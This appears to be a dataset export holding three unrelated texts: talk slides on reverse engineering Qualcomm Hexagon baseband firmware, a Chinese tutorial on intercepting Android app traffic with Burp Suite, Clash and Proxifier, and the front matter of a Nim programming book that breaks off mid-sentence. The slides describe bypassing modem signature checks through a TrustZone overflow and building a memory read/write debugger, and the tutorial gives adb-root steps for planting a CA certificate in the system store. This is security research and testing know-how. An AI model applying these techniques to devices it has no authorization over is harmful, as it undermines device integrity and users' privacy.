text
stringlengths
100
9.93M
category
stringclasses
11 values
A Journey into Hexagon Dissecting Qualcomm Basebands Seamus Burke Agenda ● About me ● Why Basebands? ● History ● Modern SoC Architecture ● Hexagon ● Cellular Stack architecture ● Analysis About Me ● Student, still finishing up my undergrad ● Interested in kernel internals, exploit development, and embedded systems ● Plays a lot of CTFs Goals ● Find bugs in the baseband ● Understand how it works and how it interacts with Android Prior Work “Reverse Engineering a Qualcomm Baseband” - Guillaume Delugré(fix char) “Baseband Exploitation in 2013” - Ralph-Philipp Weinmann (PacSec 2013) “Exploring Qualcomm Baseband via Modkit” - Peter Pi, XiLing Gong, Gmxp (CSW 2018) Agenda ● About me ● Why Basebands? ● History ● Modern SoC Architecture ● Hexagon ● Cellular Stack architecture ● Analysis What is a baseband exactly? ● The chip in a phone which communicates with the cellular network ● Handles the radio signal processing over the air ● Has to support a large number of standards - (GSM,UMTS,CDMA2k,cdmaOne, GPRS,EDGE, LTE, etc) ● The phones main interface to the rest of the world Why Qualcomm? ● By far the largest market share of any baseband processor ● Most high-end phones on the market, at least till recently carried a qcom chip inside. Basebands today ● Separate cellular and application processors ● Some sort of communication between them ● Both have access to RAM CP AP RAM Agenda ● About me ● Why Basebands? ● History ● Modern SoC Architecture ● Hexagon ● Cellular Stack architecture ● Analysis RTOS ● Real-time, embedded operating systems. ● 2 major categories ○ Unprotected - logical and physical addresses are the same ○ Protected - virtual memory ● Time bound, with well defined time constraints REX - Real-time Executive ● The original kernel which ran the modem ● Designed for the 80186, then ported to ARM ● Single process, multiple threads ● Everything runs in supervisor mode ● Tasks are basically the threads of REX. ● Every task has a TCB storing the the SP, priority, stack_limit, etc ● Each task has it’s own stack, when tasks are suspended, context is saved in a special context frame on top of it’s stack ● Pointer to the saved context stored in the tasks TCB ● TCBs stored in a doubly linked list, trivial to mess with ● Why did Qualcomm switch from REX? ● Well, it had it’s issues: “Programmers should use these functions only according to the interface specifications, since REX does not check any parameter for validity” ● Flat address space, lack of memory protections ○ Did they switch for security? Hah, no, debugging millions of lines of C with no memory protections was a nightmare L4 + Iguana ● Multiple-process and multiple-threaded ● Only the kernel runs in supervisor mode, everything else in userland ● A REX emulation layer is supported ○ REX tasks are L4 threads ○ No changes to the REX api, it’s converted transparently ○ AMSS runs in user mode ○ Interrupts split between kernel and user mode QuRT ● Qualcomm Real-time OS ● Used to be named BLAST, name changed as part of OpenDSP initiative ● Most of the APIs are backwards compatible, with the exception of some threading things. ● QuRT provides all the OS primitives you would expect ○ Mutexes ○ Futexes ○ Semaphores ○ Task Scheduling ● Priority based scheduling ○ Priorities 0-256, 0 is the highest ○ Tries to schedule an interrupt in an idle hw thread, instead of preempting a running task Exceptions ● Application exceptions ○ Page faults, misaligned operations, processor exceptions, etc ○ Handled by registered exception handlers ● Kernel exceptions ○ Page faults and other processor exceptions (TODO like what?) ○ Cause all execution to be terminated and the processor to be shut down ○ Processor state is saved as best it can be Mitigations? Sorta ● Complete lack of ASLR ● There is a form of DEP, can’t write to code, can’t execute data ● XORd stack cookies ● Heap protection ○ Different magic values for the headers of in-use and free’d blocks ● Lots of fixed addresses everywhere. The RTOS loads at the same spot every time, as does just about everything else. ● Hardcoded addresses prevalent in the code AMSS ● Advanced Mobile Subscriber Software, drivers and protocol stacks which make up the modem ● Configured differently for different chipsets ○ Which air interface protocols are supported ○ Hardware specific drivers ○ Multimedia software ● > 60 tasks running ○ Diag, Dog, Sleep, CM, PS, DS, etc Diagnostics ● DIAG, or Diagnostic Services provides a server that clients can request info from about AMSS ● DIAG is a REX task, usually handles requests from Serial or USB ● Packet based protocol ● Lots of useful stuff ○ Debug messages ○ OTA logs ○ Status ○ Statistics Agenda ● About me ● Why Basebands? ● History ● Modern SoC Architecture ● Hexagon ● Cellular Stack architecture ● Analysis Qfuses ● Internal bank of one time programmable fuses, the QFPROM ● Publically undocumented ● Inter-chip configuration settings, cryptographic keys ● Secure boot and TrustZone both make heavy use of these ● Hardware debugging usually disabled in prod by blowing a fuse SoC Architecture I ● Multiple interconnected subsystems ○ MPSS - Modem Processor ○ APPS - Application processor ○ RPM - Resource and Power Management ○ WCNSS - Wireless Connectivity ○ LPASS - Low Power Audio AP <-> CP communication ● So how does Android talk to the modem? ● Shared memory ● QMI Shared Memory ● Main idea is for the Modem to write some data, and the AP pick it up ● Common APIs on both the modem (and other subsystems) and linux side ○ Smem_init, smem_alloc, smem_find, smem_get_entry ● SMD - Shared Memory Driver ○ Wrapper around SMEM ○ Abstracts into things like pipes ○ Separate channels for DS, DIAG, RPC, GPS QMI ● Qualcomm MSM Interface - designed to supplant the AT cmd set ● High level interface over older protocol (DMSS) ● Used to interface with modem components, but not drive hw ● Client-server model ● Packet structure with a header and then TLV payloads Agenda ● About me ● Why Basebands? ● History ● Modern SoC Architecture ● Hexagon ● Cellular Stack architecture ● Analysis Hexagon ● 6th iteration of Qualcomm’s in house DSPs. ● General purpose DSP. 2 on the SoC, one for applications to use, and one for the modem ● Separate L1 code and data caches, unified L2 cache ● Hardware threads share caches ● Instructions grouped into packets of 1-4 instructions for parallel execution Shared L1 Instruction Cache Shared L1 data cache Shared L2 cache Thread 0 Fetch Thread 1 Fetch Thread 2 Fetch Thread 3 Fetch Register File Register File Register File Register File Execution Units Execution Units Execution Units Execution Units General Info I ● Thirty two 32-bit GPRs ● Calling convention - R0-R5 are used for arguments ● Return values in R0 ● Caller saved are R6-R15 ● Callee saved R16-R27 The stack on QDSP ● R29 is Stack Pointer, R30 is Frame Pointer, R31 is Link Register ● The stack grows downwards from high to low ● Needs to be 8 byte aligned ● Several stack specific instructions ○ Allocframe - pushes LR and FP to stack, and subtracts from SP to make room for the new frames locals. ○ Deallocframe - Loads FP and LR, then fixes up SP ○ Dealloc_return - does a deallocframe and then returns to LR Saved LR Saved FP Saved LR Saved FP Function local data Unallocated Stack Function local data Stack Frame FP register SP register Higher Address Lower Address General Info II ● SSR - holds a variety of useful debugging info ○ ASID ○ CAUSE ○ Which BadVA ● BADVA ○ BADVA0 - exception addresses generated from slot0 ○ BADVA1 - addresses generated from slot1 ● ELR - holds PC value when an exception occurs Privilege Modes ● 3 Main modes ○ Kernel Mode - Access to all memory, smallest memory footprint ○ Guest OS - Access to it’s own memory, and of the User segment, lots of Qcom drivers run here ○ User - Only has access to itself. ● Stack checks only done in user and guest Protection Domains ● New with QDSP6v62 ● Implements Separate address spaces ● Memory mapping is Address space ID + 32 bit VA ● Address spaces can’t touch each other ● ASID0 is the kernel and Guest OS levels. Agenda ● About me ● Why Basebands? ● History ● Modern SoC Architecture ● Hexagon ● Cellular Stack architecture ● Analysis Call flow ● There are a dozen different ways the cell stack can make/receive a call ○ 1x voice call ○ 1x data call ○ Hdr call ○ Gsm voice call ○ Gprs data call ○ Wcdma voice call ○ Wcdma data call ○ Td-scdma call ○ Lte data call ● Multiple ways to do the same thing implies added complexity, and these aren’t as simple as a 3-way handshake to begin with RTFS ● Best place to start is the standards ● Don’t specify implementation, and there are lots of features to implement ● 3GPP is the governing body ○ Composed of 7 telecom orgs (ETSI, ARIB, ATIS, CCSA, TSDSI, TTA, TTC) ● The standards are freely available on the web ● (Very long) ● Plenty of LV and TLV options everywhere. Good place to start ● Can be tricky to find out how to trigger them Agenda ● About me ● Why Basebands? ● History ● Modern SoC Architecture ● Hexagon ● Cellular Stack architecture ● Analysis Disassembly options ● There are several options out there for disassembling hexagon code ○ https://github.com/gsmk/hexagon ○ https://github.com/programa-stic/hexag00n ○ https://github.com/rpw/hexagon ○ Qcom provided patches for GNU binutils ○ Llvm, codebench, etc ● I found the GSMK plugin the fastest to setup and get running ● I have a very rough binary ninja based disassembler I wrote Analysis ● Qdsp6sw.mbn - Holds the modem firmware and QuRT ● Not small - ● It has tens of thousands of functions to sort through ● Where to start? Library function identification via frequency ● Idea: identify common library functions via high usage Debugging ● A few different options here ○ Qcom tools like QXDM/QPST, talk to the phone over USB ■ Acquiring, licensing, ramdumps(!) ○ JTAG ■ More cost, slightly higher difficulty ○ Lauterbach Trace 32 ■ Expensive, licensing, gets you as low level as you’re gonna get ■ More on this later ○ Memory R/W via exploit ○ Modem Image modification Modem image patching I ● Modem binaries are unencrypted on disk ● This facilitates easy disassembly, and easy patching ● Secboot prevents unsigned images from loading ● Signature verification performed in secure world Modem Patching II https://github.com/eti1/tzexec Leverages a integer overflow to achieve an arbitrary write into the trustzone, and patches two bytes to neuter signature checking Prereqs: ability to compile your own kernel and flash it Modem internal hashes still need to be consistent What are the preconditions of a debugger? ● Able to read and write from/to memory (setting breakpoints, etc) ● Breakpoints and the like implies the ability to change memory permissions ● Setting register values How does a baseband take input? ● Over the air interface ● Shared memory ● Serial Implementing a debugger Hayes AT commands ● Commands sent to the modem to control dialing, connection parameters, and generally manipulate things ● Extended a lot, OEM and carrier specific commands supported Implementing a debugger II Can hook/replace AT commands Read = AT+cmd=address,size Write = AT+cmd=address,size,data Just picked arbitrary commands to replace Or…..option II Testing ● Usually need a license to broadcast on cellular frequencies (depending on country) ● Or get a Faraday cage ● Can use a Software Defined Radio (SDR) to implement our own cell stack ● A SDR is a general purpose transceiver, they usually support a variety of different frequencies Testing II ● Various hardware options ○ BladeRF x40 ~$420 ○ BladeRF x115 ~$650 ○ USRP B200 ~$675 Testing III ● Quite a few open source projects have sprung up in the past few years ● YateBTS - GSM and GPRS ● OpenBTS - GSM, GPRS, 3G (UMTS) ● OpenBSC - GSM, GPRS ● OpenAirInterface - LTE ● OpenLTE - LTE ● srsLTE - LTE Questions?
pdf
APK 流量转发保姆级教程 作者:lings- 时间:2021/10/02 目 录 绪 论 ............................................................................................................... 1 第 1 章 Burpsuite 证书安装 ........................................................................... 2 1.1 导出 burpsuite 证书 ............................................................................ 2 1.2 将 Burpsuite 证书放置于 Apache2 服务器 ....................................... 3 1.3 下载证书并将证书导入 system 证书目录 ........................................ 3 1.4 若提示权限不足,则执行如下命令获取 root 权限。 .................... 5 第 2 章 Clash 软件安装及配置 ...................................................................... 6 2.1 下载 Clash ........................................................................................... 6 2.2 编辑配置文件 ..................................................................................... 6 2.2.1 文件内容 ................................................................................... 6 2.2.2 文件格式及修改 ....................................................................... 6 2.3 安装 Clash ........................................................................................... 6 2.4 配置 Clash ........................................................................................... 6 2.4.1 拖入夜神模拟器导入 ............................................................... 6 2.4.2 Apache2 服务器下载导入 ......................................................... 6 2.5 设计全局代理 ..................................................................................... 6 2.6 设置抓取单个 APP 流量 .................................................................... 6 第 3 章 Proxifier 代理配置 ............................................................................ 7 3.1 配置 Windows 全局代理 .................................................................... 7 3.2 添加安卓模拟器流量转发 ................................................................. 8 3.3 Windows 不能上网 .............................................................................. 8 APK 流量转发保姆级教程 lings- 2021/10/02 1 绪 论 教程共有两种方案,一种使用 proxifier 对安卓模拟器的流量进行代理,以实现安 卓全局代理的目的。一种使用 clash 对安卓 APP 进行流量转发,以实现系统级的全局 代理或单个 APP 的代理。 两种方案均需将 burpsuite 证书安装于系统目录,故而均需安卓 root 权限。 本次教程以夜神模拟器为主,优先讲解如何使用 adb 模式安装 burpsuite 证书。p roxifier 代理所需内容与软件有 burpsuite、proxifier、夜神模拟器。Clash 代理所需内 容与软件有 burpsuite、clash、夜神模拟器。 应注意的是,proxifier 无法实现对于某一个 APP 流量的捕获,相当于是安卓系统 层面的代理。Clash 则会出现浏览器访问网站提示证书错误的情况。 APK 流量转发保姆级教程 lings- 2021/10/02 2 第1章 Burpsuite 证书安装 1.1 导出 burpsuite 证书 在导出前建议在 Proxy—>Options—>Add 页面新建局域网代理端口,如下图所 示。 随后点击 Import / expoet CA certificate 选择 Certificate in DER format 导出 C A 证书并保存到某一文件夹,如下图所示。 APK 流量转发保姆级教程 lings- 2021/10/02 3 1.2 将 Burpsuite 证书放置于 Apache2 服务器 启动 Apache2 服务器,将文件上传至 Apache2 服务器,如下图所示。 证书准备完毕。 1.3 下载证书并将证书导入 system 证书目录 启动夜神模拟器,打开浏览器,访问 Apache2 服务器下载证书至 Download 目录。 如下图所示 APK 流量转发保姆级教程 lings- 2021/10/02 4 使用 win+R,唤起 cmd 窗口或 powershell 窗口,切换目录至夜神模拟器安装目 录。如下图所示。(cmd 窗口用 dir 切换目录,powershell 使用 cd 切换目录) 进入 bin 目录,nox_adb.exe 即为夜神模拟器 adb 模式端口。 使用.\nox_adb.exe 执行如下命令。 .\nox_adb.exe root .\nox_adb.exe remount .\nox_adb.exe shell APK 流量转发保姆级教程 lings- 2021/10/02 5 Cd 进入 sdcard/Download/目录,查看目录文件内容(TAB 补全对大小写敏感)。 若目录存在 cacert.der 则执行如下命令,把证书文件复制到手机/模拟器的系统证 书文件夹,并设置 644 权限 mv cacert.der 9a5ba575.0 mv /sdcard/Download/9a5ba575.0 /system/etc/security/cacerts/ chmod 644 /system/etc/security/cacerts/9a5ba575.0 若执行成功则证书安装完毕。 重启安卓系统 1.4 若提示权限不足,则执行如下命令获取 root 权限。 .\nox_adb.exe root .\nox_adb.exe remount 若依然提示权限不足,则检查夜神模拟器是否开启开机 root。 APK 流量转发保姆级教程 lings- 2021/10/02 6 第2章 Clash 软件安装及配置 2.1 下载 Clash Github 地址:https://github.com/Kr328/ClashForAndroid 2.2 编辑配置文件 2.2.1 文件内容 见附件。 2.2.2 文件格式及修改 Yaml 后缀格式文件。192.168.1.250 为 Burpsuite 的 IP 地址,8080 为 Burpsuite 的 监听端口,均可自行修改。 2.3 安装 Clash 将下载好的 APK 软件包拖入夜神模拟器页面即可,配置文件也可托入。 2.4 配置 Clash 2.4.1 拖入夜神模拟器导入 打开 Clash—>配置—>右上角加号—>从文件导入—>浏览文件—>右侧三个点—> 导入—>左侧选择栏 Amaze—>主目录—>Pictures—>xxx.yaml 2.4.2 Apache2 服务器下载导入 打开 Clash—>配置—>右上角加号—>从文件导入—>浏览文件—>右侧三个点—> 导入—>左侧选择栏 Amaze—>主目录—>Download—>xxx.yaml 2.5 设计全局代理 保存导入后选选中配置—>返回—>启动—>代理—>选择 http,即可全局代理抓 包。 2.6 设置抓取单个 APP 流量 停止运行代理,选择设置—>网络—>访问控制模式—>仅允许已选择的应用 设置—>网络—>访问控制包列表—>选择需要代理抓包的应用。 APK 流量转发保姆级教程 lings- 2021/10/02 7 第3章 Proxifier 代理配置 可能安全的下载链接:http://www.hanzify.org/software/13717.html 3.1 配置 Windows 全局代理 配置文件—>代理服务器—>添加—>HTTPS—>默认情况下使用 配置文件—>代理规则—>将 Localhost 的动作设置为代理,如下图所示。 确认后打开夜神模拟器,使用浏览器任意打开某一网站,则出现流量拦截提示。 APK 流量转发保姆级教程 lings- 2021/10/02 8 根据流量拦截情况,推测 NoxVMHandle.exe *64 即为夜神模拟器流量出口。 3.2 添加安卓模拟器流量转发 配置文件—>代理规则—>两个规则设置为 Direct。 配置文件—>代理规则—>添加 复制 NoxVMHandle.exe 到应用程序,配置动作和名称如图。 使用夜神模拟器打开任意网站,若出现拦截提示,即为配置成功。 3.3 Windows 不能上网 检查配置文件—>代理规则,除安卓模拟器代理,是否均设置为 Direct APK 流量转发保姆级教程 lings- 2021/10/02 9 附件一: mixed-port: 7890 allow-lan: false mode: global log-level: info external-controller: 127.0.0.1:9090 proxies: # http - name: "http" type: http server: 192.168.1.250 #burpsuit IP port: 8080 #burpsuite port # username: username # password: password # tls: true # https # skip-cert-verify: true # sni: custom.com proxy-groups: - name: Proxy type: select # disable-udp: true proxies: - http
pdf
M A N N I N G Dominik Picheta www.allitebooks.com Nim Reference Common constructs const x = 5 Compile-time constant let y = “Hello” Immutable binding var z = [1, 2, 3] Mutable variable proc name(param: int): ReturnType = body method name(param: float): ReturnType = body iterator items(list: seq[int]): int = body template name(param: typed) = body macro name(param: string): untyped = body if x > 5: body elif y == "Hello": body else: body case x of 5: body of 1, 2, 3: body of 6..30: body for item in list: body for i in 0..<len(list): body while x == 5: if y.len > 0: break else: continue try: raise err except Exception as exc: echo(exc.msg) finally: discard Input/Output echo(x, 42, "text") readFile("file.txt") stdout.write("text") writeFile("file.txt", "contents") stderr.write("error") open("file.txt", fmAppend) stdin.readLine() Type definitions type MyType = object field: int type Colors = enum Red, Green, Blue, Purple type MyRef = ref object field*: string Licensed to <null> www.allitebooks.com Nim in Action Licensed to <null> www.allitebooks.com Licensed to <null> www.allitebooks.com Nim in Action DOMINIK PICHETA M A N N I N G SHELTER ISLAND Licensed to <null> www.allitebooks.com For online information and ordering of this and other Manning books, please visit www.manning.com. The publisher offers discounts on this book when ordered in quantity. For more information, please contact Special Sales Department Manning Publications Co. 20 Baldwin Road PO Box 761 Shelter Island, NY 11964 Email: orders@manning.com ©2017 by Manning Publications Co. All rights reserved. No part of this publication may be reproduced, stored in a retrieval system, or transmitted, in any form or by means electronic, mechanical, photocopying, or otherwise, without prior written permission of the publisher. Many of the designations used by manufacturers and sellers to distinguish their products are claimed as trademarks. Where those designations appear in the book, and Manning Publications was aware of a trademark claim, the designations have been printed in initial caps or all caps. Recognizing the importance of preserving what has been written, it is Manning’s policy to have the books we publish printed on acid-free paper, and we exert our best efforts to that end. Recognizing also our responsibility to conserve the resources of our planet, Manning books are printed on paper that is at least 15 percent recycled and processed without the use of elemental chlorine. Development editors: Cynthia Kane, Dan Seiter, Marina Michaels Technical development editor: Andrew West Manning Publications Co Review editor: Donna Clements 20 Baldwin Road Project editor: Karen Gulliver PO Box 761 Copyeditor: Andy Carroll Shelter Island, NY 11964 Proofreader: Katie Tennant Technical proofreader: Michiel Trimpe Typesetter: Dottie Marsico Cover designer: Marija Tudor ISBN 9781617293436 Printed in the United States of America 1 2 3 4 5 6 7 8 9 10 – EBM – 22 21 20 19 18 17 Licensed to <null> v contents preface xi acknowledgments xii about this book xiv about the author xvii about the cover illustration xviii PART 1 THE BASICS OF NIM ...........................................1 1 Why Nim? 3 1.1 What is Nim? 4 Use cases 4 ■ Core features 6 ■ How does Nim work? 11 1.2 Nim’s benefits and shortcomings 12 Benefits 12 ■ Areas where Nim still needs to improve 20 1.3 Summary 20 2 Getting started 22 2.1 Nim syntax 22 Keywords 23 ■ Indentation 23 ■ Comments 25 2.2 Nim basics 25 Basic types 25 ■ Defining variables and other storage 30 Procedure definitions 33 2.3 Collection types 39 Arrays 39 ■ Sequences 41 ■ Sets 42 Licensed to <null> CONTENTS vi 2.4 Control flow 43 2.5 Exception handling 47 2.6 User-defined types 49 Objects 49 ■ Tuples 50 ■ Enums 51 2.7 Summary 53 PART 2 NIM IN PRACTICE.............................................55 3 Writing a chat application 57 3.1 The architecture of a chat application 58 What will the finished application look like? 58 3.2 Starting the project 61 3.3 Retrieving input in the client component 63 Retrieving command-line parameters supplied by the user 63 Reading data from the standard input stream 66 Using spawn to avoid blocking input/output 68 3.4 Implementing the protocol 70 Modules 71 ■ Parsing JSON 72 ■ Generating JSON 78 3.5 Transferring data using sockets 79 What is a socket? 82 ■ Asynchronous input/output 83 Transferring data asynchronously 91 3.6 Summary 100 4 A tour through the standard library 101 4.1 A closer look at modules 103 Namespacing 105 4.2 Overview of the standard library 107 Pure modules 107 ■ Impure modules 108 Wrappers 108 ■ Online documentation 108 4.3 The core modules 110 4.4 Data structures and algorithms 111 The tables module 112 ■ The sets module 114 The algorithms 115 ■ Other modules 117 4.5 Interfacing with the operating system 117 Working with the filesystem 118 ■ Executing an external process 120 ■ Other operating system services 122 Licensed to <null> CONTENTS vii 4.6 Understanding and manipulating data 122 Parsing command-line arguments 122 4.7 Networking and the internet 126 4.8 Summary 127 5 Package management 128 5.1 The Nim package manager 129 5.2 Installing Nimble 130 5.3 The nimble command-line tool 131 5.4 What is a Nimble package? 131 5.5 Installing Nimble packages 135 Using the install command 135 ■ How does the install command work? 136 5.6 Creating a Nimble package 139 Choosing a name 139 ■ A Nimble package’s directory layout 140 ■ Writing the .nimble file and sorting out dependencies 141 5.7 Publishing Nimble packages 145 5.8 Developing a Nimble package 147 Giving version numbers meaning 147 ■ Storing different versions of a single package 147 5.9 Summary 148 6 Parallelism 150 6.1 Concurrency vs. parallelism 151 6.2 Using threads in Nim 153 The threads module and GC safety 153 ■ Using thread pools 156 ■ Exceptions in threads 159 6.3 Parsing data 159 Understanding the Wikipedia page-counts format 160 Parsing the Wikipedia page-counts format 161 Processing each line of a file efficiently 164 6.4 Parallelizing a parser 168 Measuring the execution time of sequential_counts 168 Parallelizing sequential_counts 168 ■ Type definitions and the parse procedure 169 ■ The parseChunk procedure 170 ■ The parallel readPageCounts procedure 171 The execution time of parallel_counts 172 Licensed to <null> CONTENTS viii 6.5 Dealing with race conditions 173 Using guards and locks to prevent race conditions 174 Using channels so threads can send and receive messages 176 6.6 Summary 179 7 Building a Twitter clone 180 7.1 Architecture of a web application 181 Routing in microframeworks 183 ■ The architecture of Tweeter 185 7.2 Starting the project 186 7.3 Storing data in a database 189 Setting up the types 190 ■ Setting up the database 192 Storing and retrieving data 194 ■ Testing the database 198 7.4 Developing the web application’s view 200 Developing the user view 204 ■ Developing the general view 207 7.5 Developing the controller 210 Implementing the /login route 212 ■ Extending the / route 214 ■ Implementing the /createMessage route 215 Implementing the user route 216 ■ Adding the Follow button 217 ■ Implementing the /follow route 218 7.6 Deploying the web application 219 Configuring Jester 219 ■ Setting up a reverse proxy 219 7.7 Summary 221 PART 3 ADVANCED CONCEPTS....................................223 8 Interfacing with other languages 225 8.1 Nim’s foreign function interface 226 Static vs. dynamic linking 227 ■ Wrapping C procedures 228 Type compatibility 231 ■ Wrapping C types 231 8.2 Wrapping an external C library 234 Downloading the library 235 ■ Creating a wrapper for the SDL library 235 ■ Dynamic linking 236 Wrapping the types 237 ■ Wrapping the procedures 238 Using the SDL wrapper 240 Licensed to <null> CONTENTS ix 8.3 The JavaScript backend 242 Wrapping the canvas element 243 ■ Using the Canvas wrapper 246 8.4 Summary 248 9 Metaprogramming 249 9.1 Generics 250 Generic procedures 251 ■ Generics in type definitions 252 Constraining generics 252 ■ Concepts 253 9.2 Templates 254 Passing a code block to a template 256 ■ Parameter substitution in templates 257 ■ Template hygiene 259 9.3 Macros 260 Compile-time function execution 261 ■ Abstract syntax trees 262 ■ Macro definition 265 ■ Arguments in macros 266 9.4 Creating a configuration DSL 267 Starting the configurator project 268 ■ Generating the object type 270 ■ Generating the constructor procedure 274 Generating the load procedure 275 ■ Testing the configurator 278 9.5 Summary 278 appendix A Getting help 280 appendix B Installing Nim 282 index 291 Licensed to <null> Licensed to <null> xi preface Nim has been my labor of love over the years. Gradually, from the time I discovered it, I’ve become increasingly involved in its development. Although I sacrificed consider- able time working on it, Nim gave back in the form of experience and knowledge. My work with Nim has taught me far more than any other work or studies have done. Many opportunities have also opened up for me, a shining example being this book. I never actually thought I would end up writing a book, and until a Manning acqui- sitions editor got in touch with me, I didn’t realize that I wanted to. While planning this book, I looked to other books and determined where they fell short. I realized that this, the first book on Nim, must be written for programmers with a bit of experi- ence. I decided that I wanted to write a book that teaches programmers about Nim, but that also teaches other programming concepts that work well in Nim’s particular programming paradigms. These concepts can also be applied to other programming languages and have been very useful in my career. My other goal for this book was to make it fun and engaging. I decided to do this by building some chapters around small projects. The projects are designed to be practical and to teach a number of Nim features and concepts. By following along and developing these projects, you’ll gain hands-on experience developing Nim applica- tions. This should put you in a good position to write your own software, which is the ultimate goal of this book. Nim in Action covers a lot, but it can’t cover everything. It shouldn’t be viewed as a complete Nim reference; instead, it should be considered a practical guide to writing software in Nim. It’s my hope that this book helps you learn Nim and that you find it a useful refer- ence for many years to come. I and the Nim community are at your disposal and are available online to help you solve any problems you run into. Thank you for purchas- ing this book and taking an interest in Nim. Licensed to <null> xii acknowledgments First, I would like to thank Andreas Rumpf for creating Nim and for both his reviews and words of encouragement throughout the development of this book. Andreas cre- ated a one-of-a-kind programming language, and without his commitment to Nim, this book wouldn’t exist. This book wouldn’t be what it is today without the brilliant and passionate people at Manning publications. I give my thanks to Marjan Bace, who made it possible to publish this book; my editors Cynthia Kane, Dan Seiter, and Marina Michaels, for helping me improve my writing; and the production team, including Andy Carroll, Janet Vail, Karen Gulliver, and Katie Tennant. I thank the Nim community and everyone who participated in reviews and pro- vided feedback on the manuscript, including technical proofreader Michiel Trimpe, and the following reviewers: Andrea Ferretti, Yuriy Glukhov, Michał Zielin´ ski, Stefan Salewski, Konstantin Molchanov, Sébastien Ménard, Abel Brown, Alessandro Campeis, Angelo Costa, Christoffer Fink, Cosimo Attanasi, James Anaipakos, Jonathan Rioux, Marleny Nunez, Mikkel Arentoft, Mohsen Mostafa Jokar, Paulo Nuin, Peter Hampton, Robert Walsh, Samuel Bosch, Thomas Ballinger, and Vincent Keller. Thanks also to the readers of the Manning Early Access Program (MEAP). Their corrections and comments on the manuscript as it was being written were invaluable. Finally, I’d like to thank my family and friends, who in their own way steered my life in a positive direction, leading me to authoring this book. First, I thank my mother, Bogumiła Picheta, for her bravery and hard work, without which I wouldn’t have had the means to start my programming journey, and I especially thank her for making a hard decision that turned out to be very beneficial for my future. I would also like to Licensed to <null> ACKNOWLEDGMENTS xiii thank my uncle, Piotr Kossakowski-Stefan´ ski, and aunt, Marzena Kossakowska- Stefan´ ska, for inspiring and challenging me to write software, and also for always being there to share their advice. Thanks to Ilona, Maciej Sr., and Maciej Jr. Łosinski for my first exposure to a computer and the internet. And I thank Kazimierz S´ lebioda, a.k.a Kazik, for the Age of Empires 2 LAN parties and for showing me how delicious chicken with garlic can be. Most of all, I thank my partner, Amy-Leigh Shaw, for always believing in me, and for her patience and support throughout my work on this book. I love you very much Amy, and am lucky to have you. Licensed to <null> xiv about this book Nim in Action is a practical way to learn how to develop software using the open source Nim programming language. This book includes many examples, both large and small, to show and teach you how software is written in Nim. Nim is unique. It’s multi-paradigm, and unlike most other languages, it doesn’t emphasize object-oriented programming. Because of this, I encourage you to con- sciously absorb the styles used in this book instead of applying your own. Nim in Action will teach you a set of best practices and idioms that you’ll also find useful in other programming languages. By learning Nim, you’ll discover a language that straddles the lines between effi- ciency, expressiveness, and elegance. Nim will make you productive and your end users happy. Who should read this book This is by no means a beginner’s book. It assumes that you know at least one other programming language and have experience writing software in it. For example, I expect you to be aware of basic programming language features such as functions, variables, and types. The fundamentals of programming aren’t explained in this book. This book will teach you how to develop practical software in the Nim program- ming language. It covers features that are present in all programming languages, such as concurrency, parallelism, user-defined types, the standard library, and more. In addition, it covers Nim features that you may not be familiar with, such as asynchro- nous input/output, metaprogramming, and the foreign function interface. Licensed to <null> ABOUT THIS BOOK xv How the book is organized The book is divided into three parts and includes a total of nine chapters. Part 1 introduces the language and its basic features:  Chapter 1 explains what Nim is, compares it to other programming languages, and discusses its strengths and weaknesses.  Chapter 2 teaches the basics, such as the syntax and fundamental features of the language. This includes a demonstration of procedure definitions and exception handling. Part 2 includes a wide range of examples to show how Nim is used in practice:  Chapter 3 is where you’ll develop your first nontrivial Nim application. The pri- mary purpose of this application is communication: it allows messages to be sent through a network. You’ll learn, among other things, how to create com- mand-line interfaces, parse JSON, and transfer data over a network in Nim.  Chapter 4 gives an overview of the standard library, particularly the parts of it that aren’t covered in other chapters but are useful.  Chapter 5 discusses package management in Nim and teaches you how to cre- ate your own packages and make them available to others.  Chapter 6 explains what parallelism is and how it can be applied to different programming tasks. You’ll see a parsing example, demonstrating different ways to parse data in Nim and how parsing can be parallelized.  Chapter 7 is where you’ll develop your second nontrivial Nim application: a web application based on Twitter. You’ll learn how to store data in a SQL data- base and generate HTML. Part 3 introduces some advanced Nim features:  Chapter 8 looks at the foreign function interface and shows how it can be used to make use of C and JavaScript libraries. You’ll develop a simple application that draws the letter N on the screen, first using a C library and then using JavaScript’s Canvas API.  Chapter 9 explains what metaprogramming is, discussing features such as generics, templates, and macros. At the end of this chapter, you’ll use macros to create a domain-specific language. You may wish to skip the first two chapters if you already know the basics of Nim. I rec- ommend reading the book from beginning to end, and I especially encourage you to follow along with the examples. Each chapter teaches you something new about Nim, even if it primarily focuses on a standalone example. If you get stuck, feel free to get in touch with me or the Nim community. Appendix A contains information on how to get help, so use it to your advantage. Licensed to <null> ABOUT THIS BOOK xvi Code conventions and downloads The source code examples in this book are fairly close to the samples that you’ll find online, but for the sake of brevity, many of the comments were removed. The online samples include a lot of comments to make them as easy to understand as possible, so you’re encouraged to take a look at them to learn more. The source code is available for download from the publisher’s website at https://manning.com/books/nim-in-action and from GitHub at https://github.com/ dom96/nim-in-action-code. Nim is still evolving, so be sure to watch the repository for changes. I’ll do my best to keep it up to date with the latest Nim version. This book contains many examples of source code, both in numbered listings and inline with normal text. In both cases, source code is formatted in a mono-spaced typeface like this, to distinguish it from ordinary text. Sometimes code is also in bold to highlight code that has changed from previous steps in the chapter, such as when a new feature is added to existing code. In many cases, the original source code has been reformatted for print; we’ve added line breaks and reworked the indentation to accommodate the available page space in the book. In rare cases, even this was not enough, and listings include line- continuation markers (➥). Additionally, comments in the source code have often been removed from the listings when the code is described in the text. Book forum The purchase of Nim in Action includes free access to a private web forum run by Man- ning Publications, where you can make comments about the book, ask technical ques- tions, and receive help from the author and from other users. To access the forum, go to https://forums.manning.com/forums/nim-in-action. You can also learn more about Manning’s forums and the rules of conduct at https://forums.manning .com/forums/about. Manning’s commitment to our readers is to provide a venue where a meaningful dialogue between individual readers and between readers and the author can take place. It is not a commitment to any specific amount of participation on the part of the author, whose contribution to the forum remains voluntary (and unpaid). We sug- gest you try asking him some challenging questions lest his interest stray! The forum and the archives of previous discussions will be accessible from the publisher’s website as long as the book is in print. Licensed to <null> xvii about the author DOMINIK PICHETA (@d0m96, picheta.me) is a Computer Science student at Queen’s University Belfast. He is one of the core developers of the Nim programming lan- guage and has been using it for most of its history. He also wrote Nimble, the official Nim package manager, and many other Nim libraries and tools. Licensed to <null> xviii about the cover illustration The figure on the cover of Nim in Action is captioned “Morlaque de l’Isle Opus,” or “A Morlach from the Island of Opus.” The Morlachs were a Vlach 